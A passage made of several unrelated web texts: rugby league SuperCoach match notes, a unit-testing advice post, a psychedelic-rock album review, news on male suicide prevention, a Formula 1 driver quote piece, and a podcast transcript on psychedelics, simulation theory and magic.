above 70 when effective offloads are added in the stats recall. * Paul Gallen (81) has averaged 82 in his last four games, showing why he is the best player in SuperCoach history. Lowlights: * Ben Barba (31) looked sharp but couldn’t quite notch the big attacking stats and may have peaked in price for now. * The base stats of the usually reliable Josh Mansour (35) have fallen off the face of the earth. He produced his third straight score in the 30s and will see a huge price drop given his break even of 113. Final teams: Sharks: 1 Ben Barba 2 Sosaia Feki 3 Jack Bird 4 Ricky Leutele 5 Valentine Holmes 6 James Maloney 7 Chad Townsend 8 Andrew Fifita 9 Michael Ennis 16 Matt Prior 11 Jayson Bukuya 12 Wade Graham 13 Paul Gallen. Interchange: 10 Sam Tagataese 14 Gerard Beale 15 Chris Heighington 17 Luke Lewis Just the usual change for the Sharks, with Sam Tagataese dropping to the bench and Matt Prior to start. Panthers: 1 Matt Moylan (c) 2 Josh Mansour 3 Waqa Blake 4 Peta Hiku 5 Dallin Watene-Zelezniak 6 Te Maire Martin 7 Jamie Soward 8 Leilani Latu 9 Peter Wallace 10 Reagan Campbell-Gillard 11 Bryce Cartwright 12 Isaah Yeo 13 Trent Merrin. Interchange: 14 Tyrone Peachey 16 Suaia Matagi 17 James Fisher-Harris 21 Jeremey Latimore Jeremy Latimore replaces Sam McKendry (suspension) on the bench in the only change. COWBOYS V EELS Injuries/reports: * Johnathan Thurston copped a hit to the knee in the last moments of the match but recovered quickly to kick for the final conversion — although he did miss it. Talking points: * Eels five-eighth Corey Norman spent 10 minutes in the sin bin for a professional foul on Michael Morgan over the Cowboys tryline, which stopped the Eels in their tracks. * The Cowboys were challenged but found plenty against a determined Eels outfit in Townsville. Although captain Johnathan Thurston (79) didn’t have his best night he again showed why he is such a good NRL and SuperCoach player, stepping up when it mattered in the second half to guide the Cowboys and his coaches home. Highlights: * Semi Radrada (68) followed up his 81-point match last week with a two-try effort just in time to start looking very handy for the bye period. * Gavin Cooper (84) has flown under the SuperCoach radar this season but continues to provide his 8% of owners with consistent output. His try against the Eels added to his 35 tackles against the Eels, he will now have a three-round average of about 80 points. * The Michael Morgan (98) rollercoaster continued, hitting a high point against the Eels. Morgan backed up his 93 points from last week with two tries and one try-assist for his 6000 owners. * Eels forward Manu Ma’u (57) continues to shape as a potential bye period goldmine with another solid performance. Lowlights: * Corey Norman (40, including a try assist) was on target for a good score before being hit with the sin bin penalty and the enforced time on the sideline. * Coaches will be getting nervous about using Eels hooker Nathan Peats (39) as bye coverage after another below-par performance. And Cowboys hooker Jake Granville (22) had his worst score for the year for his 8.5% of SuperCoaches. Final teams: Cowboys: 1. Lachlan Coote 2. Kyle Feldt 3. Justin O’Neill 4. Kane Linnett 5. Antonio Winterstein 6. Michael Morgan 7. Johnathan Thurston 8. Matthew Scott 9. Jake Granville 10. James Tamou 11. Gavin Cooper 12. Ethan Lowe 13. Jason Taumalolo Interchange: 14. Rory Kostjasyn 15. Patrick Kaufusi 16. Scott Bolton 17. Ben Hannant Unchanged. Eels: 1. Michael Gordon 2. Semi Radradra 3. Michael Jennings 4. Brad Takairangi 5. Clinton Gutherson 6. Corey Norman 7. Kieran Foran 8. Junior Paulo 9. Nathan Peats 10. Daniel Alvaro 11. Manu Ma’u 12. Beau Scott 13. Tepai Moeroa. Interchange: 14. Isaac De Gois 15. Peni Terepo 16. Danny Wicks 17. Ken Edwards Unchanged. RAIDERS V TITANS Reports/injuries: * Tigers lock Dene Halatau injured his hand in the first couple of minutes and didn’t return to the field. * Raider Joseph Tapine injured his ankle in the first half and didn’t return. * Kevin Naiqama was hit hard trying to make a tackle and left the field for a concussion test late in the match and didn’t return. Talking points: * After a tough month the Green Machine hit back with a dominate performance. Four Canberra players cracked the SuperCoach ton, including Jordan Rapana, whose 162 points (before recounts) was one of the top-five all time SuperCoach scores. * Popular captain option and one of the competition top points scorers James Tedesco (28) was held to his lowest score of the season. Highlights: * A quartet of tries and a try assist propelled Canberra winger Jordan Rapana (162) into the SuperCoach scoring hall of fame. * Dally M leader and Raiders English hooker Josh Hodgson (106) was superb. He was in everything, particularly in the first half, and his haul included a staggering 48 points from try assists. * Hard-running Canberra centre Joseph Leilua (124) continues to be a surprise POD heading into the bye period. Before this match he had a five-round average of over 50 without great attacking stats. The floodgates opened against the Tigers. His haul included two tries, a try assist, offloads, line breaks and line-break assists. * Chris Lawrence (75) was one of the few shining lights for the Tigers on a dark, dark night. Lowlights: * Besides the low score from Teddy, popular Tigers centre Jordan Rankin could only manage 11, only just beating his break-even of 6. Final teams: Raiders: 1. Jack Wighton 2. Edrick Lee 3. Jarrod Croker 4. Joseph Leilua 5. Jordan Rapana 6. Sam Williams 7. Aidan Sezer 8. Shannon Boyd 9. Josh Hodgson 16. Paul Vaughan 11. Josh Papalii 12. Elliot Whitehead 13. Shaun Fensom. Interchange: 14. Kurt Baptiste 15. Luke Bateman 17. Joseph Tapine 18. Clay Priest. Frank-Paul Nuuausala has been left out of the team, with Paul Vaughan taking his spot at starting prop. As a result Clay Priest has been named on the Riaders bench to make his NRL debut. Tigers: 1. James Tedesco 19. David Nofoaluma 3. Nathan Milone 4. Kevin Naiqama 5. Jordan Rankin 6. Mitchell Moses 7. Luke Brooks 8. Ava Seumanufagai 9. Robbie Farah 10. Tim Grant 11. Curtis Sironen 12. Chris Lawrence 15. Dene Halatau. Interchange: 14. Josh Aloiai 13. Sauaso Sue 16. Kyle Lovett 17. JJ Felise Winger David Nofoaluma returns, with potential cash cow Josh Addo-Carr dropping out of the side. Sauaso Sue returns but will start off the bench with Dene Halatau to start at lock. BULLDOGS V TITANS Injuries/reports: * Titans lock Greg Bird left the field for a concussion test but returned soon after to help launch the Titans’ late surge. * Bulldogs winger Sam Perrett was injured in a tackle but played on. Talking points: * Popular SuperCoach cash cow Ashley Taylor was ruled out the day before the match after spending time in hospital with stomach cramps. He was replaced at five-eighth by fellow rookie Cameron Cullen, who made a creditable 48 points, including a try assist, in his second game of NRL. With Taylor expected back next week and Tyrone Roberts fit, it’s unlikely Cullen has much to offer SuperCoaches, although his price will jump significantly the next time he pulls on the Titans strip. * Bulldogs centre Kerrod Holland again proved himself one of the best buys of the SuperCoach season so far. While he didn’t reach the two-try heights of last week he was a solid contributor with 56 points, including 22 tackles and 20 points from line breaks. It could have been even better had he not missed two conversions. Highlights: * Bulldogs forward Josh Jackson (94) gave SuperCoaches some food for thought ahead of the bye rounds. Jackson had plenty of admirers last year on the back of his strong attacking play. Up until Round 6 this year Jackson’s attacking stats had been almost non-existent but he has upped the ante in the last couple of weeks, including a try, 10 points from line breaks and eight from line break assists to go with his 41 tackles against the Titans. The Bulldogs will play in the two tough bye rounds of 12 and 18. Jackson is currently in 4% of teams. * Returning after missing last week through suspension, Greg Bird (88) added stability to the Titans forward pack and a smile to the faces of 5% of SuperCoaches. Historically Bird has scored well against the Bulldogs and he didn’t disappoint, notching a try assist, 28 tackles and 38 points from hit-ups. If you’ve got him, you’d be happy with those points but with Origin just around the corner, he won’t be finding his way into many more teams. * Moses Mbye rewarded coaches who stuck by him despite some lean weeks with an improved 57 points. The exciting 22-year-old looked dangerous with the ball, including a great run and dummy to gift a try to Will Hopoate. * Will Hopoate scored a try-inflated 66 for his 8% of owners, ruing the fact he’ll be missing from Sunday games, while Bulldogs captain James Graham (63) was at his at his usual consistent best. Lowlights: * Although most coaches ditched Craig Garvey (12) with the return of Bulldogs hooker Michael Lichaa, those who still have him on the bench would have been disappointed with his 5 minutes of play on his return. Final teams: Bulldogs: 1. William Hopoate 2. Curtis Rona 3. Josh Morris 4. Kerrod Holland 5. Sam Perrett 6. Josh Reynolds 7. Moses Mbye 8. Aiden Tolman 9. Michael Lichaa 10. James Graham 11. Josh Jackson 12. Tony Williams 13. Greg Eastwood. Interchange: 14. Sam Kasiano 15. Tim Browne 16. David Klemmer 21. Craig Garvey Hooker Craig Garvey has been named on the bench, with Lloyd Perrett and Adam Elliot dropping out of the squad. Titans: 1. William Zillman 2. Anthony Don 3. Josh Hoffman 4. Nene Macdonald 5. David Mead 6. Tyrone Roberts 19. Cameron Cullen 8. David Shillington 9. Nathan Friend 10. Ryan James 11. Zeb Taia 12. Chris McQueen 13. Greg Bird Interchange: 14. Luke Douglas 15. Leivaha Pulu 16. Agnatius Paasi 17. Kierran Moseley. As expected, Cameron Cullen replaces fellow rookie Ashley Taylor at five-eighth, while Eddy Pettybourne misses out. BRONCOS V RABBITOHS Injuries/reports: Rabbitohs — Hymel Hunt’s night ended early after he suffered what looked like a serious pec injury. Halfback Adam Reynolds left the field clutching his jaw at the 55th minute. Remarkably he demanded to return in the second half despite nursing a suspected fracture. Reynolds will undergo scans and know by Monday whether he has suffered a jaw fracture for the second time this season. Paul Carter suffered a head knock but passed a concussion test and returned. Broncos — Andrew McCullough injured his left knee and didn’t return. Wayne Bennett said his rake had suffered a calf complaint with scans set to determine how long he would be sidelined. “There are is no medial or cruciate (knee) damage,” he said Joe Ofahengaue and Adam Blair were placed on report. Talking points: Potential cheapie Herman Ese’ese scored 14 points and as expected he only saw limited game time playing off the bench. Hulking winger Corey Oates dived over in the corner in one of the best put downs of the season. He also had another try disallowed in the first half. His 46 point display also included two tackle busts and a linebreak. Anthony Milford wasn’t able to reach the dizzying heights that he did against the Knights (153 points) but he finished with a respectable 65 points — his kicking game a highlight, he forced three dropouts. The five-eighth also had a try assist. Highlights: SuperCoach ‘God’ Corey Parker bagged himself a try in the latter part of the second half, taking his score to 81 points. He also kicked four goals and made four tackle busts. Ben Hunt was on fire again and in an impressive performance notched up 85 points. The halfback took control of Brisbane’s attack making two linebreaks, five tackle busts, a try assist and he even crossed for a try of his own. Greg Inglis finally found some form after a below par start to the season for the superstar fullback. He finished the game with 63 points thanks to a try, six tackle busts and a linebreak. Lowlights: Andrew McCullough finished with only 11 points to his name thanks to his injury. In a huge blow to Hymel Hunt (6 points) owners, the centre left the field after only six minutes. He looked to have suffered a serious pec injury which is likely to result in a lengthy spell on the sideline. Final Teams: Broncos: 1 Darius Boyd 2 Corey Oates 3 Jack Reed 4 James Roberts 5 Jordan Kahu 6 Anthony Milford 7 Ben Hunt 8 Josh McGuire 9 Andrew McCullough 10 Adam Blair 15 Sam Thaiday 12 Matt Gillett 13 Corey Parker (c). Interchange: 14 Jarrod Wallace 16 Joe Ofahengaue 17 Kodi Nikorima 18 Herman Ese’ese Alex Glenn is out with a hip injury with Sam Thaiday coming into the starting side. Herman Ese’ese earns a call-up onto the bench to make his debut. Rabbitohs: 1 Greg Inglis (c) 2 Bryson Goodwin 19 Dane Nielsen 4 Hymel Hunt 5 Aaron Gray 6 Luke Keary 7 Adam Reynolds 8 Thomas Burgess 18 Damien Cook 10 David Tyrrell 11 Chris Grevsmuhl 14 Paul Carter 13 Sam Burgess. Interchange: 3 Kirisome Auva’a 9 Cameron McInnes 15 Jason Clark 16 Nathan Brown Forward George Burgess has been dropped. Damien Cook has been promoted into the starting side at hooker with Cameron McInnes dropping to the bench. Kirisome Auva’a also drops to the bench with Dane Nielsen to make his Rabbitohs debut at centre. Backrower Paul Carter starts with Kyle Turner omitted. -When I first heard about unit testing using a framework like JUnit, I thought it was such a simple and powerful concept. Instead of ad hoc testing, you save your tests, and they can be run as often as you like. In my mind, the concept didn’t leave much room for misunderstanding. However, over the years I have seen several ways of using unit tests that I think are more or less wrong. Here are 5, in order of importance: 1. Testing algorithms together with coordinators. Algorithmic logic is easiest to test if it is separated from coordination code (see Selective Unit Testing – Costs and Benefits). Otherwise you end up with tests where you for example first have to submit a job through a job queue before the logic is tested. The job queue part only complicates things. Unless you are testing the job queue itself, break out the logic that would be executed when calling the run method, and test that logic separately. Both the code and the tests become much easier to write and manage that way. 2. Mocking too much. Perhaps the greatest benefit of unit tests is that they force you to write code that can be tested in isolation. In other words, your code becomes modular. When you mock the whole world around your objects, there is nothing that forces you to separate the parts. You end up with code where you can’t create anything in isolation – it is all tangled together. From a recent tweet by Bill Wake: “It’s ironic – the more powerful the mocking framework, the less pressure you feel to improve your design.” 3. Not using asserts. Sometimes I see tests where an object is created, some methods are called, and that’s it. Maybe it is done in a loop, with some variation in creation or calling. However, nothing is ever checked using asserts. That misses the whole point – checking that the code behaves as expected. Sure, the code is run, but that’s it. If an exception is thrown, we would notice, but nothing else is verified. 4. Leaving print statements in the tests. I see this as a remnant from manual testing – you look at the values and decide if they are correct or not. But all checking should be done using asserts. If an assert fails, you will see it, because the test fails. When the test passes, nothing should be printed. Sometimes when developing the tests, it can be useful with print statements. But in that case add a flag, and turn printing off when checking in the tests. 5. Checking the log statements, not the result. Thankfully not common, but I have seen an otherwise very competent developer do this. Since it is the result of the method that matters, not what is printed in log, there can be errors in the code, and the tests still pass. Enough said. The last 3 problems are all easy to avoid. The first 2 require more effort, but will result in code that is nicely separated. Happy unit testing! -33 minutes of music approximately. The sound is very good-clean and with some of the warmth associated with the original vinyl pressing (which I still own). The disc is snapped inside a tri-fold cardboard holder, which contains a short but informative essay on the group and the album by Dominic Priore. The original b&w back cover is also here inside the tri-fold holder. This album is actually somewhere between 3-3 1/2 or 4 "stars", depending on your nostalgia level and how highly you rate the music. Well, a small wrong has been finally righted. Instead of the previous releases which were a collection of tracks from various albums, we have the original album with all the tracks in straight order. Never a first run band, THE STRAWBERRY ALARM CLOCK were (and continue to be) known primarily for the one track (a number 1 hit in 1967) we all know-"Incense and Peppermints"-a song that comes to mind when you think of the late 60's and the "Summer of Love", Hippies, tie-dye shirts, love beads, and all the rest. One look at the wonderfully evocative, period cover photo will tell you a lot about the music and the era. The music was a mix of fuzz-toned guitars, cheesy organ, vibraphone, flute, and some close harmony singing-all wrapped up in the pop/psychedelic sound of the era . That and the fact that their one hit record was sung by a non-band member (Chris Mumford from SHAPES OF SOUND), who was hanging around the studio that day. But all that adds up to some fun, cool music-even if it was a bit lightweight. But if you listen to "Unwind With The Clock", a jazzy instrumental/vocal (a track that is always left off compilations), or "The World's On Fire", you hear another side to this band-they had more chops than many thought. For a short time THE STRAWBERRY ALARM CLOCK were one of the main attractions in the L.A./Sunset Blvd area. A number of people started digging their music, hoping the psychedelic vibrations would continue a while longer. But it wasn't to be. The whole Sunset Blvd. club thing was outlawed, and everybody scattered to new places for their musical fix and everything else. But, finally, we have one of the original artifacts from that wonderful, exciting, weird era. Listening to this does bring back some good memories of growing up during that period when everything was seemingly new and vital. And that makes this release of the original album all the more important. Admittedly if you weren't there you'll hear it with slightly different ears, but this band/music/ Single was a part of the times. As I said-a small wrong has been made right-it's good to know that I now own one of the small but important musical artifacts of that time, when it seemed there was something new to hear every week. A small but important piece of the puzzle is now in place. Enjoy! -The Department for Health is failing to target suicide prevention work at men say experts, according to a report on male suicide BBC Radio 4’s Today Programme. Jane Powell of the male suicide prevention charity CALM said: “It’s cultural as much as anything else. We don’t really see men as needing help in anyway or as being vulnerable unless they’ve got some additional asset or qualification which means we should look at them as needing any further assistance. “And that runs through our entire society which says that failure and being weak is something that women’s do and being strong is what men do. And so when we look at the suicide prevention strategy where it says and mentions that men are at higher risk than women, it then goes on to look at what other factors like ethnicity, sexuality or anything else that bring that kind of added qualification as for why we should look at a particular group as needing anything. “We equate manhood as being invulnerable so we can’t allocate resources in that area because they’re men. A man who is depressed is more likely to behave aggressively, to self medicate, to have anger problems and to end up in prison than end up getting any kind of mental health help.” The Psychologist Martin Seager, who was also interviewed on the programme said that we have to “remove the blind eye we’re turning to it because in 104 out of 105 countries that we have statistics for the male suicide rate is much higher so it isn’t purely a cultural thing it seems to be an embedded evolutionary mind and body issue for men. Male suicide is one of the key topics covered at the third national conference for men and boys. To buy your tickets today click here now Related articles Advertisements -Bottas: We are missing race pace and quite a big amount Before the first race of the 2015 season many expected Williams to take the fight to Mercedes, but that has not transpired and the former world champions have even taken a step back in the current Formula 1 pecking order, with Valtteri Bottas lamenting the lack of race pace in the FW37. After missing the season opener in Melbourne due to a back injury, Bottas was back in action at Sepang and reflected after his fifth place finish, “We maximised the result but we are missing race pace – and quite a big amount.” “With the ideal race, starting at the front, the gap wouldn’t be that big but it is too big, much bigger than we expected. It shows we have a lot of work to do.” “There is a lot more potential, we just need to get more performance because it is possible others made huge steps,” said the highly rated Finn referring no doubt to the leap made by Ferrari. Bottas explained, “In traffic, we seem to struggle with traction a bit in slow-speed corners compared to Toro Rosso and Red Bull. Toro Rosso seem to be much stronger where we are weak, which is slow-speed, mid to exit. “We have some updates coming and all we can do now is learn from anything we can,” concluded Bottas. Last year Williams became a Mercedes F1 engine customer and, after a number of years in the doldrums, became front runners, eventually finishing the season third in the constructor’s standings. In testing earlier this year they appeared to have retained the momentum, but in Australia they already appeared to have slipped a notch and in the heat of Malaysia Ferrari and Sebastian Vettel powered to victory and gave everyone ‘a wake up call.’ -Mike: I think you can keep going in that direction to from your talking about LSD in you come back from a DMT trip when you’re not so sure you’re not living in a really convincing hologram. Euvie: Simulation. Duncan: The same thing that they say in Buddhism and Hinduism, Maya illusion. You guys know that term, Maya? Mike: Yep. Duncan: Personified illusion, not only is it a lie but it’s a living lie. Like it’s a lie that its nature trying to deceive you is that I love virtual reality because when you pull your virtual reality goggles off and go from the VR universe to the real universe. You’re like holy s**t man my senses really can be completely tricked. There is a kind of spiritual corollary to that experience which is that you can remove the whatever the cognitive filters are that you wear what makes sense. I’ve heard from an evolutionary perspective it makes sense that any organism would only process the data necessary to survive there all the spectrum of the different types of light we can see the sounds we can’t hear, the feelings that we can’t feel even though they are buffeted by all of these phenomena that are sensory apparatus that allows the process. The reason that this is because it has nothing to do with our basic survival needs and to suddenly become aware of it is to reduce your chance of survival. You know, when I take mushrooms or any psychedelic in since I was a kid I will always see some version of elves I’ll see some kind of elf, not like Christmas elves or whatever but for example lsd, if I’m looking concrete, not a small dose like a 100µg, 200µg dose of lsd. I will see weird runic writing everywhere, And then also what appears to be some kind of health way arcade drawings of elves and it’s like they’re basing those drawings on whatever this is and they seem to be alive but they seem to be existing on a different layer of the Universe and they seem to be aware of us to some degree but somewhat unconcerned or annoyed sometimes or ignoring or they seem like nature too. They seem wild, they don’t they seem feral, right. Not in a crazy way like a dog, a mad dog. But innocent of like an indigenous and tribal. Those things are probably there you know, that the astral plane that you’re seeing. But here’s the thing maybe for whatever reason we haven’t seen those things is because it doesn’t help us survive. It just complicates the situation. Like dealing with getting up in the morning and going to use the bathroom and need some food around or whatever order you do that in. It’s only complicated if on the way to the bathroom you’re seeing tribes of ancient hyper dimensional beings watching you from the walls. Mike: Yeah, I love the idea of simulation theory that we’re all living inside a big virtual reality game because it makes everything more interesting like you said concrete or when I take mushrooms the carpet and I think that is the base level of reality is that the deeper you look into things maybe the the algorithm creates more complex solutions to your questions. Duncan: What do you think the algorithm is? Mike: You know that game, No Man’s Sky? They did a procedural generation world where you can explore 18 quintillion planets. You can go as deep as you want into it. I think that’s all the algorythm was meant to do is to be very convincing and to expand as our curiosity expands. Duncan: But the question is who made the algorithm? Mike: That’s a question I love too because it implies there’s meaning in the the events of your life and that maybe you can uncover meaning. I sometimes walk around and pretend like there is meaning in everything. Someone trips on the street and I go OK what was the meaning of that person tripping in front of me to my life. It’s just a game I play but sometimes you can actually find little patterns in that and pull wisdom out of that. Euvie and I were at a coffee shop a few weeks ago with someone fell down the stairs few minutes later someone dropped a coffee mug somewhere and then a few minutes after that someone dropped another thing I was like Ok, Euvie pull your computer in, just like protect your computer and within minutes after that someone spillt a full grande sized cup of coffee on Euvie’s keyboard. Duncan: Woah. Mike: I was like ok, maybe that’s a sign. Duncan: So look what you did, not only did you like recognise a pattern but you were able to prognosticate it something else is going to happen and it happened so Mike: Yes. Duncan: Your hypothesis was right it just wasn’t good enough to know she should move the keyboard. You knew there was going to be some action because you were seeing a pattern that other people weren’t seeing Mike: Yeah. So after the guy spills the coffee over the laptop he offers to take us to an Apple repair store where we can get the computer looked at. So we travel there and we were a bit nervous and so is he because he’s he’s afraid he might have to pay all this money to repair the laptop. So we get to the apple repair store and it on trying to ease the tension as the computer is being taken apart and looked at so I asked him what do you do, what are you up to in Istanbul and it turns out he’s this robotics engineering student And he’s in Istanbul at the moment to attend this Google conference for robotics and that’s this big competition that they have like battle robots going against each other so it seem like a really interesting thing. So he actually invited us to the event and I was thinking about we’re in Istanbul for a couple of weeks just you know waiting for my visa and it would be nice to have some friends and meet some people involved in tech, maybe meet some investors and since starting this incubator in Plovdiv it would be a cool thing to meet people involved in robotics, AI or whatever. This impulse to ask him about his life for what he’s up to in Istanbul and the whole coffee spilling incident brought us unto this next step to meet someone involved in the robotics and tech scene. So it’s pretty cool. Turned out the laptop was totally cool, no problems whatsoever. Euvie’s just got a little bit of a sticky keyboard but you know it didn’t have any problems. Duncan: I’ve read about this there is actually a form of you know like a bibliomancy you are you open the Bible or any other work with the dictionary whatever you have a question open the Bible open a dictionary whatever. You point to you that’s the message that you’re supposed to get to know. I cant remember which book this was where I read this but you formulate a question, put yourself in a magical state which is what you’re talking about seeing the patterns is like bringing yourself into a magical state and then go to a cafe is actually what I read. Go to a place with the question in mind and sit in a listen to the people or watch the people not as though they were individuals but they were so they were one organism. Mike: Aha, have you read synchronicity by Kirby Surprise? Duncan: No I have not. Mike: I think they’ve got a story from that you you might really like that but actually but that he says the same thing. Go to a market. Duncan: Maybe that was it, maybe that’s where I got it from because it was like an essay somebody emailed me so I could have easily been added it could have been out of there for sure. Mike: The book is so cool. I like playing around with it and people get so sceptical and like turned off by this but I think the more willing you are they just play with the idea you have to detach yourself to an actually believe that any of it but if you just open to the idea of everything having meaning every single event every colour, everything you look at smell, taste, touch, hear. There meaning in it. Then you can pull information from that and you can you can almost decide the meaning but much of that information can start to become useful and I’ve been playing with this concept for a couple of years now and it’s like it’s getting stronger or that coffee shop incident is like a normal occurrence now. That’s weird man. Duncan: Have you read Robert Anton Wilson? Euvie: Not yet no but it’s been recommended to us. Duncan: So there’s this idea of this thing called the chapel perilous, you guys heard of this? Mike: No. Duncan: So, in magical practices when you begin to get into it you know someone you should definitely have on your podcast is Mike: -Jason Louv. Duncan: Yeah! Exactly. He really understands it. When I talk about it It’s like a murky memory but I can vaguely understand what they’re talking about this in my own dabbling in magic. And so the chapel perilous is basically what happens is when you begin to realise exactly what you’re talking about and there so many different ways to put it. We’re living in the mind of God or something or everything’s information and information can be not only apprehended in ways that most people are apprehending it but can also be manipulated in ways the most people are manipulating it. Mike: Yeah. Duncan: You can begin to see new fields of data and then transform those fields of data using techniques that most people think are absolute b******* . But you will begin to witness actual profound changes in your own subjective universe from these techniques and then you, your life starts jumping timelines because whatever the timeline you were on prior to recognising this data fields and manipulating them and that’s gone, you basically kill yourself because now you’ve jumped in a completely new version of reality where suddenly you’re with a person that you would never been with had you not shifted you’re thinking and this will bring you into the presence of either really good people are very dangerous people. Depending on what kind of magic you’re practicing, you know. Because some people are really into power. I was at this round as a treat talking to someone who met Carlos Castinada. You guys know Carlos Castinada? The sorcerer? Euvie: No. Duncan: So it’s a great book. He studied under a, god I can’t remember the name of the religion where they take peyote but he studied under a sorcerer and he learned a lot of different, a lot of magic real magic. Just like Crawley and some of the rituals are really awful like sewing lizard eyes shut. Euvie: Jesus. Duncan: Yeah, lots of…you know I was talking to my friend like this. I never liked those. Once i got to those parts in the books i just stopped reading because I cannot respect anyone It would do something like that that’s so f***** at meanwhile I’m super hipocrite because I eat meat. Different podcast. But the point is this guy and my friend I said to me know what that’s so f***** up like that what it where is compassion there and my friend said he’s not in the compassion, sorcerers are in it for the power. They actually see compassion as a kind of low-level form of power but it’s not the power it’s not that it’s not it’s it’s kind of like a grade school stuff. Compassion sure yeah ok f****** cultivate your compassion, whatever. You go ahead and do that I’m travelling into the astral realm. I’m making people do things and they don’t realise it I’m making s*** tons of money for myself and for my friends using magic and I don’t care about your compassion. Should I get you a blanket and maybe we got it in the end you find a nice the hill the sit down with your blanket Gandhi really that’s what you want compassion. So you run into those people and they’re real and then you can get into chapel perilous where suddenly you get sucked deeper and deeper into ever increasing realizations of the complexity of the astral realm. You can get lost in the astral realm. You can basically go nuts which is why you hear this again and again when it comes to magic. Be very careful, be careful. When you reading his books you know from the greatest magicians, all of them have like some pretty intense warnings in there is it how to protect yourself, how to purify yourself. In my younger days my reaction was like whatever, thats just a movie bulls***. I could sit In my room and do a ritual where I tried to make some connection with some Anokian entities and I don’t really need to go through the several days of preparation that they recommend. I don’t really need to wear the clothes they recommend or do the particular drawings the right way that you put on your wall or burn the right kind of incense. I don’t really need to do that because this is actually a bunch of b******* it can’t really be real. Then you sit down and start doing it in the next thing you know you open yourself up to something that you’ve had no idea what it was like ordering plutonium through the mail [laughter] Duncan: And throwing away the manual. It’s like hey, when you’re handling this plutonium you should definitely be wearing some kind of, you should be behind several shields of led. You know but never got some b******* scientists nonsense you know. So that’s the chapel perilous you can get pulled into a thing that is really fun at first but can become a little it’s like how much do you want the university wink at you, how much do you want in adversity to say hello. I’m not going to keep going on with this rant but I had a friend recently who had a rather profound psychedelic experience that was not pleasant at all. And he was running through the experience with me and in the beginning he said you know I ate the mushrooms and then I invited the universe to come and tell me what the universe needed to tell me and then he went to like a bar or something and I’m like wait, you invited the universe to come and talk to you at a bar? Like really? You invoked the universe you’re only saying the universe, eating this is psilocybin, you had an intention of connecting to the intelligence of the univers to tell you something and then you go to a bar. I didn’t say it like that, the message I was trying to put through but I’ve been doing the same thing. Guess what, sometimes the universe answers your invitation and when the universe comes to you, look at the universal Farm Chapter 7 of The Bhagavad Gita I think it’s Chapter 7 where Krishna reveals himself to Arjuna and Arjuna is describing Krishna. The saints throughout the universe are bowing down to you like praying, an infinite number of arms and eyes and mouths and we know, the light emanating from you is brighter than a billion Suns and I see all humans being devoured in your mouth and this is the Oppenheimer quote but „Hello, I have become death, destroyer of worlds“ at the very end of that chapter Arjuna says to Krishna ( I’m definitely going to like abbreviate what he says but the essence of it is) could you please go back to normal form Krishna, please. [laughter] Euvie: Normal form Krishna haha. Mike: It’s like he’s staring at the The spinach and his teeth but it’s all the bodies of all the people that have ever lived. Duncan: Exactly. So, So I can read that in The Bhagavad Gita and it’s cool like how he understands the vastness of the cosmology in what we call Hinduism. But in real life are you ready for that, are you ready to see that and to really see it? Not just to think man, can I really manipulate reality using my mind or is it possible that we exist in multiple timelines. Is it possible that we are existing in a multiverse and I can jump in the different multiverses just through intention moving closer and closer and closer to my divine self. Is it possible that my divine super evolved actualized self existing at some point in some future and some multiverse can send signals back to me that I can follow in the direction of that thing. Is it possible that at some point in some future in some multiverse there is some awakened version of me that is the awakening version of all people that is calling out through all multiverses to bring those who can hear closer to it and we call that thing Gad when actually the closer you get to the thing the more you turn into it. Because it’s that powerful and if that is possible are you ready for that? Your ego will be like f*** yeah I’m ready, that sounds awesome [laughter] Euvie: Or it will be horrified. Duncan: Or horrified. And the horrified is better because the versus the fear of the Lord is the beginning of wisdom. I think you’re sending me set for that or if you want to put it in a sweet away if you read The Chronicles of Narnia, did you ever read those? Mike: Yeah. Duncan: Ok. Well, C.S. Lewis made this Jesus metaphor, Jesus analogy for a lion. This lion Aslan is this wonderful being There is kind of like the Avatar that comes to balance things out of the peers and ontologies with one of the characters in the book when referring to Aslan this Christ symbol says he is not a tamed Lion. And in the same way this thing that we’re contacting in different ways thtough psychedelics or prayer, meditation, spiritual practice. It’s not tamed. it’s not safe in the way that we think things are safe. It kills every second it, devours itself and it does it with zero problem. Wiping out your identity in this particular incarnation. It doesn’t care, it doesn’t care if you walk off a cliff, it doesn’t save. It’s like oh yeah do that experiment, let’s try that again walking off the cliff up didn’t work. Euvie: Try again, new body, pop there you go. [laughter] Duncan: Yeah. So that’s the chapel perilous. This is why I I love the teachings that were [inaudible] because it’s rather than being the complicated rituals of Aleister Crowley the lesser keys of Solomon in all the grimmoires and all the different magical systems that are so beautiful. But I’m just not wise enough for that, I’m not smart enough for that and not disciplined enough for that. No f****** way I can do that and if I do it I’d inevitably f*** myself up which is why I really love this concept of love everyone and tell the truth. Come in the present moment and just be here with the intention of loving or work on yourself so you can help the people around you. That’s where I’m at right now. By the way old man warning secretly the guys Iike “Don’t do magic, it’s bad”. I didn’t mean it like that, it’s so fun, I’m just not good at it. [laughter] Duncan: So fun. It’s such a weird thing this again yeah that’s great as long as you’re getting pulled into the Right Group you know just not getting white drawn in by people who have gotten really good at drawing and energy some people really good at drawing innogy whether it’s like the locker money success or other people and I don’t even know why they’re doing it I haven’t established their intention with themselves to their attention is subconscious down on the Furious they doing it you know out of a kind of accidentally, they haven’t identified this like why do I do this? Why am I having this experience? Or who am I serving? If you can identify who you’re serving, what you’re serving the algorithm if you want to call it that whatever it may be and you and you and you can begin to connect with that and allow that to be the center of your intentions then everything will be great because then you just become a vehicle of the thing or an appendage of the thing. Euvie: The concept of karma in this case is really useful for me because you can think about what kind of karma are you accumulating by doing this or that. I mean how much suffering are you going to cause yourself in the future if you do these things because you know in this life you might cause yourself a little bit of suffering but you know over time you’re going to cause your future self a lot more suffering. Duncan: Yeah. That’s right. This is from a podcast of Ron Doss and he was sitting with, I can’t remember these names are so difficult, policing when it is teacher is telling the story of getting really angry and the teacher said don’t worry Ron Doss, that’s just your karma running off like we get angry, when you start freaking out that’s old karma reaching some, you know that karma might be 10 seconds old, it might be 2 years old or a lifetime, whatever it is. Another way I’ve heard it described It is a lot easier for me to understand is that it’s like a fish swimming in circles in a fishbowl running into its own poop [laughter] Duncan: That’s what karma is. Now i get to be around this shitty thing that I Created some time ago, like oh, you grew up fast, wow you’re just a tiny little bit of bad luck. Now you’re a big big big boy, you grew fast. Well, instead of letting you trigger my procedure of habituation that is defined my entire life about another’s point maybe this time I won’t react in the way I did before and then you can start cleaning it up a little bit for sure. But yeah I’m thinking about the karmic implications of your actions there is definitely a great thing to do especially when it comes to magic because it’s all, you know, imagine you did discover that as we’ve talked about earlier that the universe is actively attempting to keep people asleep for whatever reason. Not even like some cabal of bankers but some fundamental aspect of the universes hypnotic in attempts to keep people in 